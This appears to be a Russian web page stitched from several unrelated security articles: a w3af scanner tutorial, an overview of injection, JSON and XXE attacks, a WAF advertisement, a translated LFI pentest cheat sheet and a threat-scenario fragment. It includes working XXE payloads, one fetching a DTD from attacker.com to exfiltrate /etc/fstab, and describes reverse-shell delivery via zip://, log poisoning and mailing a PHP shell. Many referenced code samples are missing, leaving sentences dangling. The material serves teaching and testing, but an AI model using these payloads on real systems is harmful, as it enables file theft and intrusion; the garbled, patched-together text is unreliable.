Какой тип уязвимостей веб приложений может быть обнаружен исключительно ручным тестированием

Обновлено: 07.01.2025

Проект w3af сильно выделяется среди многих других инструментов для исследования безопасности веб-приложений. Это не обычный сканер с жестко забитым функционалом, а фреймворк, позволяющий использовать более сотни различных плагинов для исследования сайта, поиска уязвимостей и их последующей эксплуатации.

WARNING

Информация представлена исключительно для ознакомления. Редакция не несет ответственности за ее использование в противозаконных целях. Подобные действия влекут за собой уголовное преследование.

Что такое w3af?

Современные веб-приложения уже мало чем похожи на своих предшественников, которые были в ходу еще пять лет назад. Они становятся всё более популярными, используют намного больше технологий, что увеличивает возможный вектор атаки, обрабатывают всё больше разной информации, включая финансовые и персональные данные. Чтобы снизить риски безопасности, мы можем внедрить процесс безопасной разработки программного обеспечения (так называемый SDL), важным этапом которого является тестирование безопасности. Условно говоря, можно выделить четыре вида тестирования безопасности веб-приложения:

Автоматизированное сканирование на уязвимости.
Ручное тестирование безопасности (пентестинг).
Статический анализ кода.
Аудит кода.

Сегодня я хочу рассказать о проекте w3af. Это фреймворк для тестирования безопасности веб-приложения (Web Application Attack and Audit Framework), который может быть использован для первых двух видов тестирования. Автором этого открытого проекта является Андреас Рианчо из Аргентины. Разработкой проекта сейчас занимается в основном он вместе с группой контрибьюторов со всего мира. Фреймворк w3af написан на Python, который, как ты знаешь, является «языком с батарейками». Батарейки w3af — это его расширения, которых набралось уже больше сотни. Это, конечно, еще не Mozilla Firefox, но уже достаточно мощное средство.

Главное окно w3af

Как устроен w3af?

Фреймворк w3af состоит из двух важных частей: ядра и плагинов. Ядро запускает главный процесс и координирует работу плагинов, а также обмен информации между ними. Плагины, в свою очередь, находят уязвимости и позволяют проэксплуатировать их. Через ядро плагины обмениваются информацией, к примеру, о найденных запросах для фаззинга. В качестве центрального хранилища информации выступает так называемая «база знаний».

Слово «фреймворк» в названии разработки употребляется не случайно. W3af предоставляет платформу, в то время как весь функционал для пентеста реализован в разных плагинах. Для каждого нового сканирования ты можешь выбирать только нужные тебе аддоны, комбинируя их. Плагин каждого типа, которых в общей сложности насчитывается восемь, отвечает за выполнение определенной задачи.

Сканируем веб-приложение

Холодный запуск

Для начала давай просканируем наше веб-приложение без авторизации — просто натравим на него сканер. В w3af есть два (вообще, уже три, но это пока небольшой сюрприз) интерфейса:

gtkUi — графический, основанный на тулките GTK;
consoleUi — хакерский UI для консольных старожилов (конечно же, с удобным автозавершением команд).

Будем использовать первый из них. Для запуска GUI-версии набираем в консоли «./w3af_gui» и видим что-то похожее на изображенное на скриншоте 1. Главное окно разделено на несколько секций: профиль, цель, плагины и тулбар. Немного расскажу о профилях.

Структура веб-приложения

Пентестинг веб 2.0

Сейчас уже никого не удивишь играми, графическим редактором или видеозвонками через веб-браузер. Неотъемлемой частью интернета стали веб-приложения, в которых логика выполнения запрограммирована на стороне клиента с активным использованием JavaScript, AJAX, JSON, HTML5 и других названий и аббревиатур. 🙂 Такой насыщенный комплекс технологий всё сильнее затрудняет автоматизированное тестирование безопасности веб-приложений. Прошли былые времена. Это история уже не о тестировании обычного веб-сайта с множеством страниц вида /article.php?id=68, на которых, в свою очередь, есть множество ссылок, форм и тому подобного «мяса» для веб-паука. Нажав, как обычно, Ctrl-U, чтобы посмотреть HTML-код, ты увидишь месиво из огромного куска JavaScript и немного традиционного HTML. Подобный «сайт» очень часто не по зубам веб-пауку, построенному по классической модели. Это вообще очень интересное направление для развития средств тестирования безопасности веб-приложений. Ведь непонятно, как в такой ситуации автоматизированно обойти весь сайт — встраивать полноценные JS и рендеринг-движки? Использовать подход, подобный Selenium/WebDriver?

Результаты сканирования w3af

Для наших целей будем использовать spiderMan, который, как мы уже разобрались, представляет собой discovery-плагин. Попробуем его в деле. Подключаем плагин в главном окне и запускаем сканирование. В веб-браузере в качестве прокси прописываем 127.0.0.1:44444 (я использую для этого аддон для Firefox, позволяющий легко управлять проксями и переключаться между ними). SpiderMan будет запущен до webSpider, так что последний сможет использовать его результаты. Переключившись на spiderMan в нашем браузере, немного полазаем по тестируемому веб-приложению. В Log-табе видим:

Как видно из лога, чтобы остановить работу spiderMan, необходимо перейти на специальный адрес, после чего webSpider и другие плагины примутся за дело. Так, аудит-плагины обнаружили SQL- и XSS-инъекцию! Первая дыра, оказавшаяся как раз в AJAX-запросе, была упущена во время первого сканирования.

Добавлю немного про эксплуатацию найденных багов. W3af умеет эксплуатировать некоторые виды уязвимостей и, к примеру, может предоставить тебе заветный шелл на целевой машине. Для эксплуатации обнаруженной уязвимости надо просто перетащить соответствующий эксплоит на вкладке Exploit на уязвимость. Для эксплуатации SQL-инъекций используется наверняка знакомый тебе sqlmap, встроенный в w3af.

Ручное тестирование

Вернемся к нашему приложению. Во время навигации по нему замечаем, что при наведении на аватар пользователя появляется всплывающее «окно» с информацией об этом пользователе. Эта информация выдается в результате обычного AJAX-запроса к /user-info.php?id=1, что видно в истории запросов. Давай протестируем этот скрипт на уязвимости. Для нашего запроса в меню выбираем «Audit request with. » — нас интересует, есть ли там SQL-инъекция. Бинго! Обнаружена классическая SQL-инъекция. 🙂 Как ты уже догадался, это запускаются всё те же плагины, которые ты выбираешь при обычном сканировании.

Получаем шелл через SQL-инъекцию

Модель работы классического сканера уязвимостей веб-приложений

Outro

Уязвимости веб-приложений возникают тогда, когда разработчики добавляют небезопасный код в веб-приложение. Это может происходить как на этапе разработки, так и на этапе доработки или исправления найденных ранее уязвимостей. Недостатки часто классифицируются по степени критичности и их распространенности. Объективной и наиболее популярной классификацией уязвимостей считается OWASP Top 10. Рейтинг составляется специалистами OWASP Project и актуализируется каждые 3-4 года. Текущий релиз выпущен в 2017 году, а следующий ожидается в 2020-2021.

Распространенные уязвимости

Для начала рассмотрим типовые уязвимости, которым подвержены многие веб-приложения.

Инъекции

Как и полагается, атаки класса «Инъекции» занимают лидирующую строчку рейтинга OWASP Top 10, встречаясь практически повсеместно и являясь крайне разнообразными в реализации. Уязвимости подобного класса начинаются SQL-инъекциями, в различных его вариациях, и заканчивая RCE — удаленным выполнением кода.

Межсайтовый скриптинг — уязвимость, встречающаяся на данный момент куда реже, чем раньше, если верить рейтингу OWASP Top 10, но несмотря на это не стала менее опасной для веб-приложений и пользователей. Особенно для пользователей, ведь атака XSS нацелена именно на них. В общем случае злоумышленник внедряет скрипт в веб-приложение, который срабатывает для каждого пользователя, посетившего вредоносную страницу.

LFI/RFI

Уязвимости данного класса позволяют злоумышленникам через браузер включать локальные и удаленные файлы на сервере в ответ от веб-приложения. Эта брешь присутствует там, где отсутствует корректная обработка входных данных, которой может манипулировать злоумышленник, инжектировать символы типа path traversal и включать другие файлы с веб-сервера.

Атаки через JSON и XML

Веб-приложения и API, обрабатывающие запросы в формате JSON или XML, также подвержены атакам, поскольку такие форматы имеют свои недостатки.

JSON (JavaScript Object Notation) — это облегченный формат обмена данными, используемый для связи между приложениями. Он похож на XML, но проще и лучше подходит для обработки с помощью JavaScript. Многие веб-приложения используют этот формат для обмена данными между собой и сериализации/десериализации данных. Некоторые веб-приложения также используют JSON для хранения важной информации, например, данных пользователя. Обычно используется в RESTful API и приложениях AJAX.

JSON чаще всего ассоциируется с API, тем не менее, часто используется даже в обычных и хорошо известных веб-приложениях. Например, редактирование материалов в WordPress производится именно через отправку запросов в формате JSON:

JSON Injection

Простая инъекция JSON на стороне сервера может быть выполнена в PHP следующим образом:

Сервер хранит пользовательские данные в виде строки JSON, включая тип учетной записи;
Имя пользователя и пароль берутся непосредственно из пользовательского ввода без очистки;
Строка JSON формируется с помощью простой конкатенации:
Злоумышленник добавляет данные к своему имени пользователя:
Результирующая строка JSON:

Простая инъекция JSON на стороне клиента может быть выполнена следующим образом:

Строка JSON такая же, как в приведенном выше примере;
Сервер получает строку JSON из ненадежного источника;
Клиент анализирует строку JSON, используя eval :

JSON Hijacking

Захват JSON — атака, в некотором смысле похожая на подделку межсайтовых запросов (CSRF), при которой злоумышленник старается перехватить данные JSON, отправленные веб-приложению с веб-сервера:

Атакующий создает вредоносный веб-сайт и встраивает скрипт в свой код, который пытается получить доступ к данным JSON от целевого веб-приложения;
Пользователь, взаимодействующий с целевым веб-ресурсом, посещает вредоносный сайт (например, за счет приемов социальной инженерии);
Поскольку политика одинакового происхождения (SOP) позволяет включать и выполнять JavaScript с любого сайта в контексте любого другого сайта, пользователь получает доступ к данным JSON;
Вредоносный сайт перехватывает данные JSON.

XML External Entity

Атака внешней сущности XML (XXE) — это тип атаки, в котором используется широко доступная, но редко используемая функция синтаксических анализаторов XML. Используя XXE, злоумышленник может вызвать отказ в обслуживании (DoS), а также получить доступ к локальному и удаленному контенту и службам. XXE может использоваться для выполнения подделки запросов на стороне сервера (SSRF), заставляя веб-приложение выполнять запросы к другим приложениям. В некоторых случаях c помощью XXE может даже выполнить сканирование портов и удаленное выполнение кода.

XML (Extensible Markup Language) — очень популярный формат данных. Он используется во всем: от веб-сервисов (XML-RPC, SOAP, REST) до документов (XML, HTML, DOCX) и файлов изображений (данные SVG, EXIF). Для интерпретации данных XML приложению требуется анализатор XML, известный как XML-процессор. XML можно использовать не только для объявления элементов, атрибутов и текста. XML-документы могут быть определенного типа. Тип указывается в самом документе, объявляя определение типа. Анализатор XML проверяет, соответствует ли XML-документ указанному типу, прежде чем обрабатывать документ. Вы можете использовать два варианта определений типов: определение схемы XML (XSD) или определение типа документа (DTD). Уязвимости XXE встречаются в последнем варианте. Хотя DTD можно считать устаревшими, но он все еще широко используются.

Фактически, объекты XML могут поступать практически откуда угодно, включая внешние источники (отсюда и название XML External Entity). При этом, XXE может стать разновидностью атаки подделки запросов на стороне сервера (SSRF). Злоумышленник может создать запрос, используя URI (известный в XML как системный идентификатор). Если синтаксический анализатор XML настроен для обработки внешних сущностей, а по умолчанию многие популярные анализаторы XML на это настроены, веб-сервер вернет содержимое файла в системе, потенциально содержащего конфиденциальные данные.

/etc/fstab — это файл, содержащий некоторые символы, похожие на XML, но они не являются XML. Это заставит синтаксический XML-процессор пытаться анализировать эти элементы только для того, чтобы понять — это недействительный XML-документ. Таким образом, внедрение внешних объектов XML ограничивается двумя важными правилами:

Обходные пути ограничения XML

Основная проблема для атакующего, использующего XXE, заключается в том, как получить доступ к текстовым файлам с XML-подобным содержимым (файлы, содержащие специальные символы XML, такие как ",',<,> ). У XML есть способ решения этой проблемы. Если требуется хранить специальные символы XML в XML-файлах, их можно поместить в тегах CDATA (символьные данные), которые игнорируются анализатором XML:

POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM
"file:///etc/fstab">
<!ENTITY end "]]>">
<!ENTITY all "&start;&file;&end;">
]>
<data>&all;</data>

Сущности параметров

Помимо общих сущностей, XML также поддерживает сущности параметров. Сущности параметров используются только в определениях типов документов (DTD). Сущность параметра начинается с символа % . Этот символ указывает синтаксическому анализатору XML, что определяется объект параметра. В следующем примере сущность параметра используется для определения общей сущности, которая затем вызывается из документа XML:

POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % paramEntity
"<!ENTITY genEntity 'bar'>">
%paramEntity;
]>
<data>&genEntity;</data>
POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents
'%start;%file;%end;'>">

Оболочки протокола PHP

Если веб-приложение, уязвимое для XXE, является приложением PHP, можно использовать другие векторы атак благодаря протоколу PHP. Оболочки протокола PHP — это потоки ввода-вывода, которые обеспечивают доступ к потокам ввода и вывода PHP. Злоумышленник может использовать оболочку протокола php://filter для кодирования содержимого файла в формате Base64 . Поскольку Base64 всегда будет рассматриваться XML как допустимый, злоумышленник может просто закодировать файлы на сервере, а затем декодировать их на принимающей стороне. Этот метод дополнительно позволяет злоумышленнику получить еще и двоичные файлы.

POST http://example.com/xml.php HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&bar;
</foo>

Инструменты поиска уязвимостей

Инструментов поиска уязвимостей довольно много. Есть коммерческие продукты: Acunetix, Nessus Scanner, Nexpose, но имеющие и бесплатные пробные версии с ограниченным функционалом. А есть и полностью бесплатные: Wapiti, Nikto, Vega, SQLmap.

С коммерческими продуктами все в основном просто и понятно. Они разрабатываются для максимальной функциональности и удобства пользователей. Как правило, при их использовании от пользователя практически никаких действий не требуется — все происходит автоматически, стоит только указать цель сканирования. С полностью бесплатными решениями дело обстоит немного иначе. Они сами по себе требуют от пользователя участия на протяжении всего процесса сканирования и к тому же многие из них часто бывают узкоспециализированными, не позволяющими охватить весь спектр уязвимостей для их поиска.

Различные WAF используют и разные алгоритмы выявления и блокировки атак. Тем не менее, зная, какой инструмент защищает веб-приложение, злоумышленник может попробовать обойти ограничительные правила для последующей эксплуатации уязвимостей. Более подробно про методы обхода WAF можно почитать в статье. А чтобы перед этим узнать какой для защиты веб-приложения используется WAF можно использовать инструмент Wafw00f.

Тем не менее, подобный подход не позволяет инструменту обнаружить Nemesida WAF:

Есть и другие инструменты, которые позволяют обнаруживать WAF, например, XSStrike, но этот инструмент специализируется на XSS, позволяя дополнительно обнаружить средства защиты, чтобы в дальнейшем манипулировать запросами для обхода блокировок.

Недавно мы опубликовали собственный небольшой скрипт waf-bypass для выявления пропусков WAF. С помощью него можно, например, сравнить, количество пропусков для сигнатурного анализа и анализа на основе машинного обучения.

Блокирование атак с помощью WAF

Как говорилось ранее, WAF позволяет противодействовать атакам на веб-приложения, используя различные алгоритмы для выявления и нейтрализации угроз.

Самый распространенный вариант — сигнатурный анализ, быстрый, но имеющий недостатки, позволяющие обойти правила блокировки путем модификации запроса, сохранив «полезную нагрузку». В таких случаях механизм сигнатурного анализа комбинируют с применением машинного обучения, увеличивая точность выявления атак и сокращая количество ложных срабатываний.

Если вы занимаетесь разработкой или обслуживанием веб-приложений и API, но не имеете возможность использовать полноценную версию Nemesida WAF, советуем попробовать его бесплатную версию на основе сигнатурного анализа — Nemesida WAF Free. Заблокированные атаки будут доступны в личном кабинете (устанавливается локально), а качественно написанная сигнатурная база способна выявить большинство известных атак.

Демонстрационный стенд Nemesida WAF:

Nemesida WAF Free предоставляется в виде динамического модуля Nginx и может быть подключен к уже установленному экземпляру веб-сервера без его перекомпиляции. Быстрый старт занимает не более 5 минут для опытных пользователей.

Автор: Aptive Consulting Ltd

Введение

Цель данного документа – помочь пентестерам и студентам в поиске LFI-уязвимостей, которые обычно обнаруживаются во время тестирования веб-приложений при помощи техник, описанных в этой статье. Кроме того, описанные методы обычно используются участниками различных хакерских конкурсов в формате CTF (Capture the Flag; Захват флага).

Что такое LFI-уязвимость?

LFI-уязвимости (Local File Inclusion; Включение локальных файлов) позволяют злоумышленникам через браузер подключать файлы на сервере. Эта брешь присутствует там, где отсутствует корректная обработка входящих данных, и злоумышленник может манипулировать входящей информацией, инжектировать символы типа path traversal и включать другие файлы с веб-сервера.

Пример уязвимого кода

Код, показанный ниже, имеет брешь, связанную с включением локального файла.

Нахождение LFI-уязвимостей внутри веб-приложений

Проблемы, связанные с включением локальных файлов, легко найти и эксплуатировать. Любой скрипт, который подключает файл с веб-сервера, является хорошим кандидатом для поиска LFI-уязвимостей. Например:
/script.php?page=index.html

Пентестер может попробовать поэксплуатировать эту брешь при помощи манипуляции параметром, связанным с местонахождением файла. Например, так:

Трюк, показанный выше, позволяет посмотреть содержимое файла /etc/passwd в системах на базе UNIX / Linux.

На рисунке ниже показан пример успешной эксплуатации LFI-уязвимости в веб-приложении:

Рисунок 1: Вывод содержимого файла /etc/passwd в системе, содержащей LFI-уязвимость

PHP-обертки

В интерпретаторе PHP есть несколько оберток, которые можно использовать для обхода фильтров входящих данных.

Обертка expect://

Обертка expect:// позволяет выполнять системные команды. К сожалению, этот модуль по-умолчанию не разрешен.

Обертка file://

В примере ниже полезная нагрузка отправляется на сервер через POST-запрос (при помощи конструкции php://input выполняем команду ls).

Рисунок 2: POST-запрос, содержащий конструкцию php://input

Рисунок 3: Результат выполнения команды ls

Обертка php://filter

Обертка php://filter позволяет пентестеру подключать локальные файлы и кодировать выходной поток в base64. Таким образом, чтобы получить читабельное содержимое, нужна дешифровка.

Рисунок 4: Отображение файла /etc/passwd, закодированного в base64

Декодируем файл /etc/passwd при помощи следующей команды:

Рисунок 5: Раскодированный файл /etc/passwd

Обертку php://filter можно использовать и без кодирования выходного потока:

Рисунок 6: Отображение незакодированного файла /etc/passwd при помощи обертки php://filter

Обертка zip://

Обертка zip:// обрабатывает загруженные .zip файлы на стороне сервера. При помощи данной функции пентестер может загрузить .zip файл, используя уязвимую функцию, предназначенную для загрузки, а затем осуществить выполнение через распаковщик zip и локальное включение. Типичная атака выглядит следующим образом:

Создаем обратный PHP-шелл.
Упаковываем файл в .zip архив.
Загружаем сжатую полезную нагрузку на сервер.
Используем обертку zip:// для распаковки полезной нагрузки при помощи следующей команды: php?page=zip://path/to/file.zip%23shell
После выполнения команды из пункта 4 появится файл shell. Если сервер не принимает файл shell, поменяйте имя на shell.php.

Если сервер не принимает .zip архивы, можно попробовать обойти функцию загрузки файлов.

Включение локальных файлов через /proc/self/environ

Если получается подключение /proc/self/environ при помощи бреши, связанной с включением локальных файлов, возможна атака через заголовок User Agent. Как только код инжектирован в заголовок User Agent, в дальнейшем используется LFI-уязвимость для выполнения /proc/self/environ и перезапуска переменных окружения, что, в свою очередь, позволяет запустить обратный шелл.

Полезные трюки

Далее будут приведены методы, которые полезны в сочетании с техниками, указанными выше:

Добавление пустого байта

Инжектирование пустого байта помогает обойти фильтры при помощи добавления к URL закодированного пустого байта (например, %00). Обычно этот трюк позволяет обойти базовые фильтры путем добавления пустых символов, которые допустимы и не обрабатываются серверной частью веб-приложения.

Практические примеры, связанные с инжектирование пустого байта, с целью включения локального файла:

Техники, связанные с укорачиванием

Укорачивание – еще одна техника, направленная на обход фильтров. При инжектировании длинного параметра в механизм с LFI-уязвимостью, веб-приложение может обрезать входной параметр, что поможет обойти фильтр входных данных.

Примеры трюков, связанных с укорачиванием:

Инжектирование в лог-файл

Метод основан на внедрении исходного кода через другие внешний службы в лог-файл целевой системы. Например, инжектирование PHP-кода обратного шелла в URL сподвигнет службу syslog на создание записи в логе доступа веб-сервера Apache записи с ошибкой 404 (страница не найдена). Затем лог апача можно распарсить при помощи ранее обнаруженной LFI-уязвимости и запустить инжектированной PHP-код.

После добавления исходного кода в лог(и) целевой системы следующий шаг – поиск местонахождения этих файлов. После обнаружения типа целевой системы и веб-сервера следует поискать логи по стандартным путям, используемым в данной конкретной системе и веб-сервере. Полезные нагрузки, заточенные под LFI-уязвимость в сочетании с приложением Burp Intruder можно использовать для нахождения путей, где лежат логи в целевой системе.

Некоторые популярные внешние службы в системах Linux / UNIX перечислены ниже:

Apache / Nginx

Инжектируем код в журнал доступа или журнал ошибок веб-сервера при помощи netcat. После успешного внедрения парсим файл серверного лога, используя ранее обнаруженную LFI-уязвимость. Если журнал доступа / ошибок слишком длинный, на запуск инжектированного кода может уйти некоторое время.

Отправка обратного шелла по электронной почте

Если целевая машина перенаправляет почту напрямую или через другую машину в сети, а также хранит почту пользователя www-data (apache) в системе, становится возможной атака через отправку обратного шелла при помощи электронной почты. Если для текущего домена отсутствуют MX-записи, но есть внешняя служба SMTP, можно подключиться к целевому почтовому серверу и отослать почту пользователю www-data / apache. Почта отсылается пользователю, от имени которого запускается apache (например, www-data), с целью проверки, что права файловой системы позволяют получить доступ на чтение к файлу /var/spool/mail/www-data, который содержит инжектированный обратный шелл код, написанный на PHP.

Вначале проверяем присутствие пользователя www-data при помощи скрипта smtp-user-enum:

Рисунок 7: Проверка присутствия пользователя www-data

На рисунке ниже показан процесс отправки почты пользователю www-data через telnet:

Рисунок 8: Процесс пересылки обратного PHP-шелла через SMTP при помощи telnet

Рисунок 9: Включение файла www-data, который содержит код отосланного обратного PHP-шелла

В результате обратный шелл подключается к netcat-слушателю:

Рисунок 10: Подсоединение обратного PHP-шелла к netcat

Общие
В общем случае уязвимости, связанные с недостаточной проверкой вводимых данных, могут быть использованы нарушителем путем манипулирования входными данными веб-приложения, контролируемыми пользователем

Примеры сценариев реализации угроз:

Пример сценария реализации угрозы несанкционированного доступа к автоматизированному рабочему месту пользователя с использованием уязвимости системы управления содержимым сайта, связанной с ошибкой CWE-79

Сбор информации о системах и сетях
1) Сканирование сетевых служб с целью определения уязвимостей, имеющих эксплойты или иные техники использования уязвимостей;

Получение первоначального доступа к компонентам систем и сетей
2) Осуществление межсайтовой сценарной атаки путем отправки специально сформированного запроса (CWE-79);

Внедрение и исполнение вредоносного программного обеспечения в системах и сетях
4) Выполнение кода через различного рода загрузчики («drive-by» атака);

Закрепление (сохранение доступа) в системе или сети
5) Скрытая установка и запуск средств удаленного доступа

Сбор и вывод из системы или сети информации, необходимой для дальнейших действий при реализации угроз безопасности информации или реализации новых угроз
6) Вывод информации через разрешённые на периметровых средствах защиты стандартные tcp/udp-порты (например, tcp/80)

Читайте также: